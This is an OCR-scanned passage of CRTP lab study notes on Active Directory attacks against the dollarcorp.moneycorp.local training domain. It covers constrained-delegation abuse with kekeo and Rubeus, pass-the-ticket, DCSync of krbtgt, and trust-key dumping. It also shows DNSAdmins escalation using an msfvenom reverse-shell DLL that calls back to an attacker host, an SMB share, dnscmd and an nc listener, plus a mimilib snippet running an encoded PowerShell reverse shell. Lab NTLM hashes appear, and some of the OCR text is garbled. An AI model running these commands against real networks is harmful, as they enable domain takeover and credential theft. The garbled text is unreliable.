requests a service ticket for the CIFS/dcorp-
mssql.dollarcorp.moneycorp.local service.
5+ The kDCchecks the msDS-AllowedToDelegateTo field on the
C

File Server

websvc account. If the service is listed it will return a service

ticket for dcorp-mssql (SAU2Proxy).

6 * The web'service can nowauthenticate to the CIFS on dcorp-
mssql as Joe using the supplied TGS.

D!

Step 2,3 allowes the web server to obtain a TGS for it self as Joe User ( impersonate
joe )

Step 5,6 KDC check the value of msps-AllowedTobelegateto 1f it’s matches cir/dcorp-mssqi on the
websvc account if it matches the cir/dcorp-mssqi then KDC will return the TGS for dcorp-
mssql as joeuser.

dcrop-mssql JL@: UJS« CIF (sR9 0X>9 aox> UJ.C« loas L@Jpl u\Ul Sl Ql s>yl s

Unconstrained g constrianed JI O lj).njl ._,J Togs |:).b3

To Abuse the constrained delegation in above scenario, we need to have access to the
websvc account.if we have access to that account, it’s possible to access the service
listed in msDS-AllowedToDelegateTo of the websvc account as ANY user.

Attack Requirements:
o a User Or Computer account with Delegation option enabled:
= “Trust This user/computer for delegation to specified service only”

o Local Adnin Privileges on the Delegated compromised host:

=  “If you compromised the server as a regular user, you need to esclate to admin to abuse this delegation feature.”

# Enumerate users and computers with constrained delegation enabled
# PowerView ( dev )
Get-DomainUser -TrustedToAuth
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Get-DomainComputer -TrustedToAuth

# PowerView

Get-NetUser -TrustedToAuth

Get-NetComputer -TrustedToAuth

# ADModule

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Ps C:\AD\Tools\kerberoast> Get-ADObject {msDs-AllowedToDelegateTo msDS-AlTowedToDelegateTo

: CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,Dc=1ocal
/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql}
Ve

b

user S
: b2f4df8d-062a-497d-85e9-49475eaefdf7

ObjectGUID

DistinguishedName : CN=DCORP-ADMINSRV,0U=Applocked,Dc=dollarcorp,Dc=moneycorp,Dc=Tocal
ImsDS-AT1owedToDelegateTo : {time/dcorp-dc.dollarcorp.moneycorp.local/dollarcorp.moneycorp.local,
time/dcorp-dc.dollarcorp.moneycorp.local, time/DCORP-DC, time/dcorp-dc.dollarcorp.moneycorp.local/dcorp...}
: DCORP-ADMINS
: computer

lobjectGUID : eebe7e4d-040d-4da0-ab97-162d0aa4096f

Ps c:\AD\Tools\kerberoast> _

<

Two Object Name:
1. Name -  websve , Service - cirs

2. Name -  ocorp-apMINSRY , Service — time

SO websve jUSt delegate to cirs

And ocore-rovinsry delegate to  tine

o PowerView_dev

Ps C:\Users\studentadmin>

i C:\AD\Tools\Powerview_dev.psl
Ps C:\Users\studentadmin> Ge

omainuser

5
1/1/1601 12:00:00 Am
CN=web svc,CN=Users,DC=dollarcorp,bDC=moneycorp,bDc=local
{top, person, organizationalPerson, user}
: web svc
lastTlogontimestamp 12/10/2018 10:10:20 Am
userprincipalname websvec
name web svc
S-1-5-21-268341927-4156871508-1792461683-1184
websvc

USER_OBJECT
NEVER

0
12/10/2018 10:10:20 AM
4

277965
b2f4df8d-062a-497d-85e9-49475eaefdf7

svc

1/1/1601 12:00:00 AM

{c1Fs/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql}
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=1ocal
{12/26/2018 11:19:27 AM, 11/10/2018 1:08:22 pM, 1/1/1601 12:00:01 An
{sNmMp/ufc-adminsrv.dollarcorp.moneycorp.LOCAL, SNMP/ufc-adminsrv}

jectguid

sh

lastlogoff
nsds-allowedtodelegateto
objectcategory
dscorepropagationdata
serviceprincipalname
givenname

lastTlogon

badpwdcount

ch
useraccountcontrol
nhencreated
primarygroupid
pwdlastset

we
12/10/2018 10:10:20 AM
0

web svc

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, T
11/10/2018 1:08:22 PM

513

11/10/2018 1:09:23 pM

STED_TO_AUTH_FOR_DELEGATION

3% Time to abuse this account and get the privilege:

So before we access to dcorp-adminsrv box so we can use the wriw hash oOr plaintext password .
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OR

asktgt from kekeo, we request a TGT ( steps 2 & 3 in the digram ).

kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f

Kekeo is a tool that read and write ticket on Lsass without injected to LSASS

Ps c:\AD\Tools\kerberoast> cd ..\kekeo\
FPé c:\AD\Tools\kekeo> cd .\x64\
c:\AD\Tools\kekeo\x64> .\kekeo.exe

kekeo 2.1 (x64) bu'l'lt on Jun 15 2018 01:01:01 - 141!
/ﬁ La Vie, A L'Amour"
Benjamin DELPY “gentilkiwi  ( benjamin@gentilki
://blog.gentilkiwi.com/kekeo
with 9 module

kekeo # tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156F_

:ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
doﬂarcorp moneycorp.local (dollarcorp)
e svc (websvc)
2 websvc [KRB_NT_PRINCIPAL (1)]
: krbtgt/dollarcorp.moneycorp.local [KRB_NT_SRV_INST (2)]
: Yes
Auth mode ENCRYPTION KEY 23 (rc4_hmac_nt ): cc098f204c5887eaa8253e7c2749156fF
[kdc] name: dcorp dc.dollarcorp.moneycorp. Tocal (auto)
[kde] addr: 172.16.2.1 (auto)
> Ticket in file _websvc@OLLARKORP . MONEYCORP . LOCAL_krbtgt~dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL .kirbi"

kekeo # _

Now when we have a 161 we request a 7Tes using sau from kekeo (step 4e5)

tgs::s4u /tgt:<PATH_OF_TICKET> /user:Administrator@dollarcorp.moneycorp.local /service:cifs-dcorp-mssql.dollarcorp.moneycorp.l

websvc JJ}.Jl Oe LG.JLlo usS.a tgt Jo).uw )92 .5' gl w)l JJ}L.“ U).ol Li»
pelegate_user JJ [T QJ.” uus).u.u“ ,n.wl caula> MIR9

kekeo # tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL.kirbi /user:Ad
If n1stratorﬂd017arcorp moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
icket : TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~ do'l'larcorp moneycorp.local@OLLARCORP.MONEYCORP.LOCAL .kirbi
[krb-cred] krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
[krb-cred] [00000017] rc4_hmac_nt
[enc-krb-cred] websvc @ DOLLARCORP.MONEYCORP.LOCAL
[enc-krb-cred] krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
[enc-krb-cred] [12/29/2018 12:04:13 pM ; 12/29/2018 10:04:13 pM] {R: 1/5/2019 12:04:13 pM}
[enc-krb-cred] [40e10000] name_canonicalize ; pre_authent ; initial renewable ; forwardable
[enc-krb-cred] ENCRYPTION KEY 18 (aes256_hmac o) 6a272464bc95284b2c9d5bbld4ae9a834ed461f2728b9990f5efld80f5859d28
[s4u2self] Administrator@dollarcorp.moneycorp.local
kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto)
[kdec] addr: 172.16. 2 1 (auto)
> Tidﬁ in file _Administrator@dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL_websvc@DOLLARCORP.MONEYCORP.LOCAL .kirbi’
service(s):
[s4u2proxy] cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
> Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL

Now we use a Mimikatz to inject the TGS ticket and whoooa we got it:

Invoke-Mimikatz -Command '"kerberos::ptt <Name_File_Of_Ticket_TGS>"'
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PS C:\AD\Tools\kekeo\x64> . ..\..\Invoke-Mimikatz.psl
Ps c:\AD\Tools\kekeo\x64> Invoke-Mimikatz

mikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - 141!
ie, A L'Amour” - (oe.eo)
in DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
/blog.gentilkiwi.com/mimikatz
LE TOUX ( vincent.letoux@gmail.
> http://pingcastle.com / http://mysmartlogon.com

mimikatz(powershell) # kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcor
p.moneycorp.LOCAL@DOLLARCORP.MONEYCORP . LOCAL . kirbi

* File: 'TGS_Administrator@dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP
-MONEYCORP.LOCAL .kirbi": ok

Ps c:\AD\Tools\kekeo\x64> klist
rrent LogonId is 0:0x3b72b
cached Tickets: (1)

#0> client: Admi ator @ DOLLARCORP.MONEYCORP.LOCAL
server: cifs/dcor sql.dollarcorp.moneycorp.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL
KerbTicket Encfyption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40al0000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 12/29/2018 12:05:47 (local)
End Time: 12/29/2018 22:04:13 (local)
Renew Time: 1/5/2019 12:0. (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
cache Flags: 0
Kdc called:
Ps c:\AD\Tools\kekeo\x64> _

Now We can access just the file system on dcorp-mssqi machine.

1s \\dcorp-mssql.dollarcorp.moneycorp. local\c$

féoié\kékeo\x64> 1s \\dcorp-mssqgl.dollarcorp.moneycorp.LOCAL
Directory: \\dcorp-mssql.dollarcorp.moneycorp.LOCAL\c$ *

LastwriteTime Length Name

2/23/2018 PerfLogs

11/3/2018 Program Files
11/3/2018 Program Files (x86)
10/30/2018 Temp

12/9/2018 Transcripts
11/3/2018 users

10/30/2018 windows

\Tools\kekeo\x64> _

But we cannot execute any other protocol for dcorp-mssqu Like
Get-wmiObject OI Enter-PSSession W€ gOt access denied.
So What we can do after this ?

We can Actually access althoughs services on machine which run under the same account,
There is no validation for The SPN specified.

that’s mean - if we have delegation for cirs on dcorp-mssql we can access all those
services which use the same user account as cirs

This is huge as it allows access to many interesting services when
the delegation may be for a non-intrusive service!

When we Enumerated for a A delegation users we have another machine it’s called = dcorp-
adninsrv. SO Request A TGS for another machine

We Have a NTLM Hash of adminsrv before.
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Either plaintext password or NTLM hash is required. If we have access to
dcorp-adminsrv hash

Using asktgt from Kekeo, we request a TGT:
ask /user:dcorp-adminsrv$

/rc4.1fadb1b13edbc5a61cbdc389e6f34c67

After request a TGT we request a TGS but here is a differince:

Using s4u from Kekeo_one (no SNAME validation):

tgs::sdu /tgt:TGT_dcorp-
adminsrv$@OLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.m
oneycorp. local@OLLARCORP.MONEYCORP.LOCAL.kirb1i
/user:Administrator@dollarcorp.moneycorp.local
/service:time/dcorp-
dc.dollarcorp.moneycorp.LOCAL | Idap/dcorp-
dc.dollarcorp.moneycorp.LOCAL

So Here we not just access to time, we can access to ldap on DC as Administrator
impersonate that administrator.

That’s mean we Can Run Attack “ocsync” without having domain admin priv

for our current user.

# Request a TGT
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:1fadbibi3edbc5a61chdc389e6f34c67

kekeo # tgt: ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:a385779dd2a076271ca2ffb7ecd0808e
do11arcor moneycorp.local (dollarcorp)
! (dcorp-adminsrv$)
[KRB_NT_PRINCIPAL (1)]
rp.moneycorp.local [KRB_NT_SRV_INST (2)]

ENCRYPTION KEY 23 (rc4_hmac_nt ): a385779dd2a076271ca2ffb7ecd0808e
[kdc] name: dcorp -dc.dollarcorp.moneycorp.local (auto)
[kdc] addr: 172.16.2.1 (auto)
> Ticket in file 'TGT_dcorp-adminsrv$@OLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL.kirbi"

kekeo # _

# Request a TGS ticket
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL .kirbi

We rquesting as Administrator a ticket not only time and also 1dap service

PS C:\AD\Tools\kerberoast> Get-ADObject {msDs-ATlowedToDelegateTo msDS-AllowedToDe legateTo

DistinguishedName : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
msDS-AllowedToDelegateTo : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql}
Name : web svc

objectcClass : user

ObjectGUID : b2f4df8d-062a-497d-85e9-49475eaefdf7

DistinguishedName : cN=dcorp u=Applocked,Dbc=dollarcorp,DC=moneycorp,DC=1ocal
msDS-AlTowedToDelegateTo : {time/dcor arcorp.moneycorp.local/dollarcorp.moneycorp.local
time/dcorp do]]arcorp moneycorp.local, time/DCORP-DC, time/dcorp- -dc. dollarcorp.moneycorp.local/dcorp...
: DCORP-ADMINSRV
: computer
objectGUID : eebe7e4d-040d-4da0-ab97-162d0aa4096f
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@dollarcorp.moneycorp.local@OLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.

ekeo # Invoke-mMimikatz -command '"kerberos tt TGS_Administrat
Hollarcorp.moneycorp.LOCAL@DOLLARCORP .MONEYCORP .LOCAL_ALT.kirbi"

Now Injected By mimikatz

Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorpdc

Invoke-Mimikatz -Command '"lsadump::dcsync/user:dcorp\krbtgt"'

To abuse constrained delegation for dcorp-adminsrv$ using rubeus , we

can use the fOllOWing command (Weam requesting a T6T and TGS' in a

single command )Z
.\Rubeus.exe s4u /user:dcorp-adminsrv$ /rc4:1fadbibi3edbc5a61chdc389e6f34c67 /impersonateuser:Administrator /msdsspn:"time/dco
After injection, we can run DCSync:

Invoke-Mimikatz -Command '"1lsadump::dcsync /user:dcorp\krbtgt"'

Very Interesting Privilege escalation, by abusing privilege's of the DNSAdmin group.

This method can be used when we have access to user account who happens to be a member of
DNSAdmins group or when the compromised user account has write privileges to a DNS server
object. So it has a capability to load arbitrary DLL with the privileges of dns.exe

You can check if a user is in DNSAdmins group by using the command:

net user <userName> /domain
e.g => net user spotless /domain

a:
er may

if the output contains ownsadnins in it’s group memberships, then the user belongs to the

group and we can abuse his membership to escalate to Administrator rights.

if we have access to the member in onsadnin group we can run a dit that is run our code to

execute Something else like: reverse shell with system privileges.
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| Note: ownsadmin croup Must Have privileges to Restart the DNS service.

| Note: the default configuration will not allow restarting the server.

Now We need to enumerate the members of the DNSAdmin Group:

# PowerView

Get-NetGroupMember -GroupName "DNSAdmins"
# OR

Get-NetGroupMember DNSAdmins

PS C:\AD\Tools> . .\Powerview.psl
PS C:\AD\Tools> Get-NetGroupMember DNSAdmins

roupbomain : dollarcorp.moneycorp.local
roupName : DnsAdmins

emberbomain : dollarcorp.moneycorp.local
lemberName : srvadmin
S—%—5—21—268341927—4156871508—1792461683—1114
: False
: CN=srv admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=1ocal

Now we need to compromise a member , we Already have the hash of srvadmin beacuse of
derivative local admin.

We will build a DLL which contains reverse tcp code and inject it into dns.exe process on the victim’s DNS Server
(oc) . In case your work requires building a DLL which exports all necessary functions refer
this post or this screenshot

for building the DLL instead of msfvenom. You can also use remote dll injector.

Building The DLL:

we need to build a DNS plugin DLL that we will be injecting into a dns.exe process on a
victim DNS server (DC). Below is a screenshot of the DLL exported functions that are
expected by the dns.exe binary when loading a plugin DLL. I have also added a simple system
command to invoke a netcat reverse shell once the plugin is initialized and code is
executed.

I then tested the function with rundiis2 as shown below, which returned a reverse shell to
my attacking machine - code gets executed, shell gets spawned:

rund1132.exe .\dnsprivesc.dll,DnsPluginInitialize
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sc.d11,DnsPluginImitialize

Kali2018 (snap1) [Running] - Oracle VM VirtualBox
Jbinjbash 72x13

Building the DLL using msfvenom:
while bu1ld1ng a payload you have to take the target machine’s architecture in consideration

too(X86/x64).

One thing i learnt during this pentest lab was that meterpreter shells

are blocked by Antivirus/Windows Defender, to be specific, the staged
ones . The difference between staged and stageless payloads are described
in detail in this rapid7 post.

I later found that stageless payloads have limitations which do not allow d1ll injections
for now,it can be tracked in this GitHub issue.So i decided to go for more simple payloads
without meterpreter . My victim had a 64 bit arch, SO 1 generated a dll with the following command,

msfvenom -a <ARCH> -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <TYPE_FILE>
#eg
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dl1 > privesc.dll

Hosting the payload:

Once the payload is generated, we have to find a way to access the payload in victim’s
machine. There are plenty of ways to transfer files to windows from Linux, but in this
case, we will use smb server to host the file .

We are choosing this, because windows supports UNC paths and samba shares by default in
most cases. Also, there are times when the victim’s AV or defender may delete the payload

if uploaded, so we’ll stick with smb server for this one. However dealing with smb can be
quite tricky on *nix, but luckily we have scripts that can make the process a lot easier.
We will use Impacket’s smb server, to host our file.

sudo python smbserver.py <shareName> <path/of/share>
eg: sudo python smbserver.py share ./

You can check if the server is working by using smbclient on a new terminal,
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smbclient -L your_smb_server_ip --no-pass
# (assuming you didn't set username and password)
eg: smbclient -L 192.168.43.100 --no-pass

you can also check if the victim is able to access the share using the following command on
victim’s shell,

net view \\your_smb_server_ip
#eg: net view \\192.168.43.100

As you can see accessing smb share is really easy by using UNC paths.
for example, to access our privesc.dll, we can simply use the following
UNC path \\192.168.43.100\share\privesc.dll

Abuse DNS with dnscmd:
@ Now that we have the DLL and we checked that it is working

to load our malicious DLL (from the victim controlled network share on host 10.0.0.2) next
time the service starts (or when the attacker restarts it):

dnscmd dc@1 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll

dnsend 1S a windows utility that allows people with onsadmins privileges
manage the DNS server. The utility can be installed by adding ons server
Tools to your system as shown in the below screengrab

[-4 Windows Features. = =
Turn Windows features on or off ]
urn a feature on, select its check box. To turn a feature off, clear its check box. A filled box means that only part of the feature is turned on.

Games
Indexing Service
Intemet Explorer 11
Intemet Information Services
Intemet Information Services Hostable Web Core
Media Features
osoft NET Framework 351
osoft Message Queue (MSMQ) Server
Print and Decument Services

Remote Differential Compression

Remote Server Administration Tools
[, Feature Administration Tools
=] Role Administration Tools
[C1). Active Directory Certificate Services Tools
@]}, ADDS and AD LDS Tools
[F]). DHCP Server Tools
[ors scver oot
File Services Tools
Hyper-V Tools
Remote Desktop Services Tools
[71). Server Manager

oooE

Resource - https://www.ired.team/offensive-security-experiments/active-directory-kerberos-

abuse/from-dnsadmins-to-system-to-domain-compromise

From the privileges of DNSAdmins Group Member, Configure DLL using
dnscmd . exe

( needs RSAT DNS ) = Remote Server Administration tools are required

dnscmd <FQDN of DC> /config /serverlevelplugindll \\UNC_path_For_DLL
# eg
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\d1l1\mimilib.d11

Normally we cannot check if the dll was added, as it requires Administrator privileges, but in our
case we did have an admin account , SO We can check using the fOllOWing Command,

Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginD11l
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Listening for connection and restarting dns if required:

We can use a normal listener 1like nc for listening on the proper port. In case you don’t
get a connection, you can try restarting the dns server on your own. this is possible
because the victim is part of DNSAdmins group.

Listener: nc -lvnp 4444

#For restarting the server
sc.exe <FQDN of DC> stop dns
sc.exe <FQDN of DC> start dns

And that’s it, you should have a shell with Administrator privileges by

now.

C:\>whoami
nt authority\system

« v E

# Quick access
m Desktop
+ Downloads
& Documents
= Pictures
Tools
= This PC
m Desktop
2 Documents

 Downloads

> ThisPC > Local Disk (C) >

Name

AD

dil

304

PerfLogs

Program Files
Program Files (x86)
Python27

Temp

Users.

WebServer

Windows

v O | Sea
Date modified Type Size
11/14/2018 11:14 ... File foldes
1/1/2019 10:00 A File folder

File folder
e folde
e folde
e folder
File folder
File folder
e folde
e folder

File folder

Right click on d11 folder - Properites - Sharing - Share - choose Everyone For read/Write

2 File Sharing

Choose people on your network to share with

Type a name and then click Add, or click the arrow to find someone.

X

Name
13 Everyone
?) studentadmin

Get a powershell on srvadmin user:

Ps c:\windows\system32> Invoke-Mimikatz

Permission Level
Read ¥ '« Read
Owner Read/Write

Remaove

srvadmin ntims:

imikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - 1iT!

vie, A L'Amour” - (oe.eo)
Benjamin DELPY "gentilkiwi
> http://blog.gentilkiwi.com/mimikatz

Vvincent LE TOUX

( benjamin@gentilkiwi.com )

: ( vincent.letoux@gmail.
> http://pingcastle.com / http://mysmartlogon.com </

mimikatz(powerzhg]'l) # sekurlsa::pth /user:srvadmin /domain:dollarcorp.moneycorp.local /ntim:a98e18228819e8eec3dfa33cb68b0728 /run:powe
: srvadmin
: dollarcorp.moneycorp.local
: powershell.exe

: no
: a98e18228819e8eec3dfa33cb68b0728
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and run this command :

indows PowerShell
opyright (C) 2016

PS C:\Wwindows\system32> dnscmd dcorp-dc /config /serverlevelplu

osoft Corporation. A1l rights reserved.

Registry property 5erver1eve1p1ugin&ﬁ1 successfully reset.

ommand completed successfully.

PS C:\Wwindows\system32> _

it load the dll inside DNS service in the DC.

¥ Registry Editor
File Edit View Favorites Help

11 \\172.16.50.100\d11\m

milib.d11

DFSR Name Type Data
| R S Default) REG SZ Walue not set)
Dhep % AdminConfigur... REG_DWORD 0x00000001 (1)
g:q;:::mb RendsicoReckorssvics BootMethod  REG_DWORD 0x00000003 3)
24 EnableGlobalQu... REG DWORD 0x00000001 (1)
DirectoryServices
Fiiy 35| Forwarders REG_MULTLSZ 1721611 1001
0 . #8 ForwardingTim... REG_DWORD 0x00000003 (3)
donisc 28] GlobalQueryBlo... REG_MULTISZ wpad isatap
Aiwappukhienice sSlave REG_DWORD 0x00000000 (0)
vl DNS PreviouslocalH... REG_SZ deorp-de.dollarcorp.moneycorp.ocal
Parameters SlsenerleicPluge REGSZ 7 ib.di
Performance
Security
Dnscache
dot3sve
ops
Dsmsvc
DsRoleSvc
Dssve
DXGKmi
Eaphost

ebdrv

ec2winutildriver

&5

EhStorClass

ERStorTegDrv

ebfcoe

ehstor

embeddedmode

EntAppSvc

ErDev.

ESENT

Eventlog

EventSystem

edat

fastfat

fevsc

fdc

fdPHost

FDResPub

FileCrypt v
Computer\HKEY_LOCAL_MACI JrrentC

We need to restart the service :

sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns

:\Windows\system32>sc \\dcorp-dc stop dns

PERVICE_NAME: dns 3
TYPE 10 WIN32_OWN_PROCESS
3 STOP_PENDING
CSTO;PAELE, PAUSABLE, ACCEPTS_SHUTDOWN)

STATE

WIN32_EXIT_CODE 0
SERVICE_EXIT_CODE 0
CHECKPOINT Ox1

WAIT_HINT : 0x7530
\Windows\system32>sc \\dcorp-dc start dns

PERVICE_NAME: dns
TYPE 10 WIN32_OWN_PROCESS

2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)

STATE

WIN32_EXIT_CODE
SERVICE_EXIT_CODE
CHECKPOINT
WAIT_HINT

indows\system32>_
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12 Event Viewer
Fle Acion View Help

o nm AR
e e
e -4 " Level Date and Time Source EventID Task Category
D information ONS-Server-Senvice 4 None
D information y DNS-Server-Senice 2 None
- -
Dinformation b ONS-Server-Senvice T None
D information . ONS-Server-Senvice 58 None
v D information ) ONS-Server-Senvice 769 None
Dinformation 1 DNS-Server-Senice 78 None
D information 1 ONS-Server-Senvice 76 None
Dinformation 112019 110655 AM ONS-Server-Senvice 76 None
D information V172019110653 AM ONS-Server-Senice 7653 None
Dinformation 1 DNS-Server-Senice None
e Senid| @ rfomaton 1 ONS-Server-Senvice 4 None
e Dinformation . ONS-Server-Senvice 2 None
(6 i powershet || @irformaten i ONS-Server-Senice 7648 None
| S Dinformation b 760 None
Event 770, DN Server-Sevice x
Generel Detats
IR0 mm
&
LogName:  DNSSEVES
Source: DNS Server-Seice Logged /12019110655 AM
EventiD ™ Tesk Ctegory: None
Lt Information Kepvords:  @2760)

Event ID = 770: that means dll it’s loaded to DNS service

there is a new file call : «kiwidns in System32 dir.

By Default, the mimilib.d1l logs all DNS queries to C:\Windows\System32\kiwidns. log

DWORD WINAPI kdns_DnsPluginCleanup()

return ERROR_SUCCESS;

b

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)

klog(kdns_logfile, L"%s (%hu)\n", pszQueryName, wQueryType);
fclose(kdns_logfile);

}

return ERROR_SUCCESS;

We can use a system function to execute a Reverse shell encoded by PowerShell encoded or
what ever you want:

ficrosoft.Cpp.Platform.targets

(Global Scope) - @ kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecord(
#pragma warning(disable:4996)
if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)

klog(kdns_logfile, L"%S (%hu)\n“, p Name, wQueryType);

fclose(kdns_logfile); -

system("C:\\Windows\\System32\\WindowsPowerShe11\\v1.0\\p hell.exe -e SQBuAHYAbwBrAGUALQBFAHgACABY
)

}
return ERROR_SUCCESS;

« Domains in same forst have an implicit two-way trust with other domains.
« There is a trust key between the parent and child domains.

. there are two ways of escalating privileges between two domains of same forest:

1. krbtgt hash

2. Trust Tickets

CRTP-Notes-Meshari-Almalki

90



Child to Parent Trust Flow:

1

- : /: o

1.Request TGT -
2 Recieve TGT
"""13.Show TGT, Req TGS|

Client

1. Request TGT, Time stamp encrypted with NTLM hash user
2. DC Check it and Response a TGT
3. Show The TGT and Request The TGS,

4. Request the TGS for application server in the parent domain, DC Check the global catalog
and find server that this service is not in it’s domain it’s in the parent domain, the DC response

within inter-realm T6eT Or Referral Ticket

5. That Inetr-realm TGT is now present in that to DC of the Parent Domain

« The Only Validation the Parent DC does in this case:
o if it can decrypt the Inter-realm TGT.

« What is the secret which is used to encrypt this inter-realm TGT?
o That is a Trust key

« Can The Parent Domain Controller Decyrpted?

o Yes, it’s also has the copie of trust key.
« Which Steps is Most scrotion one?

o Step Five because it’s present inter-realm TGT and response the TGS

o (Because we want to enter inside another domain in same forest & )
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-
>

DC

1. Request TGT
2 Recieve TGT
“Recieve inter-realm |

“7]3Show TGT, Req TGS|

7.Present TGS for Access =
G 8 Opt Mutual Auth [~

Application Server
Client

it’s this step is abusable in this case, That Mean if we have access to trust key we can
forge and inter-realm TGT which the parent DC would assume to be valid.

Another Example:

Request TGT
Ticket
Receive TGT
Ticket

1. The user authenticates to DC#1 by sending an encrypted request with their

credentials ( TimeStamp + NTLM HASH ). The DC#1 verifies their identity and sends
a TGT ticket.

2. The user receives the TGT ticket and sends it back to DC#1,requesting a

service ticket for a specific service like SQL service.If the requested service
resides on another domain ( Parent Domain ) DC#1 will issue a special TGT ticket
called
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inter-realn OF Referral Ticket Encrypted with their trust key to refer to the DC that has
the service.

In our case, the user requested access to a SQL service that resides
on DC#2.S0, DC#1 issued a referral ticket tO DC#2.

3. The user takes that inter-realn ticket and presents it to DC#2,requesting a SQL service
ticket. DC2# has a copy of the «trust key of DC#1,; if it decrypts the ticket presented

by the user, it will go ahead and issue a SQL service ticket as requested without
conducting additional verification.

#* Dc#2 will blindly trust DC #1 to verify the user. However, we will see the risk later
in the escalation part that if the attacker obtains the trust keys, can forge TGT
tickets all day long.

4. The user present the SQL TGS ticket to the database server and gets the intended
access.

$_Escalation_Requirements
© Domain Admin Privileges on the compromised DC.

© DC Trust Keys to forge the Inter-realm TGT Tickets

$_Used _Tools
o Invoke-Mimikatz

o Rubeus

$_Escalation_Demo DA=EA

Our goal is to forge an inter-realm trust ticket that escalates us toO Eenterprise adnin USing
the compromised trust keys. This step assumes that you have already gained domain admin
privileges on the DC.
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I obtained the access by abusing the application server’s
unconstrained delegation in the previous post

C:\Program Files> I

21 19:01:18

in@gentilki
tz

t. letoux@gmail
rtlogon. com

tt [0;154b94] -60a10000-Admini tor@krbtgt-DOLLARCORP .MONEYCORP . LOCAL . kirbi
Administrator@krbtgt-DOLLARCORP . MONEYCORP.LOCAL .kirbi": OK

.moneycorp. Tocal Program File
eneycorp. Toc Program Files>

Command {whoami ; hos tname} dcorp-dc

mmand
Command

Length Name

perflegs
og

dc dc
dcorp-dc

To forge a trusted ticket, we need the domain trust key and the SID of the root domain.
Run 1nvoke-mimikatz with the trust parameter to obtain the keys.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc-name
# OR

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcrop\mcorp$"' #mcorp -> netbios Name of Parent Domain

As seen in the below screenshot, we obtained all the trust keys from the domain
controller. The [in] and [out] 1in front of the domain names indicate the trust direction.

In our case, we are interested in getting access to the root domain “moneycorp.local”
from our child domain “dotiar.moneycorp.10cal” . Therefore, we choose the first key.

[ In ] DOLLARCORP .MONEYCORP.LOCAL -> MONEYCORP.LOCAL

EX Administrator: C\Windows\System32\WindowsPowerShell\v1.0\powershell.exe — [m] X

indows PowersShell
opyright (C) 2016 Microsoft Corporation. A1l rights reserved.

Ps C:\Windows\system32> . C:\AD\Tools\Invoke-Mimikatz.psl
Ps C:\Windows\system32> Invoke-Mimikatz dcorp-dc
FHEEHHE. mimikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - Ti1!
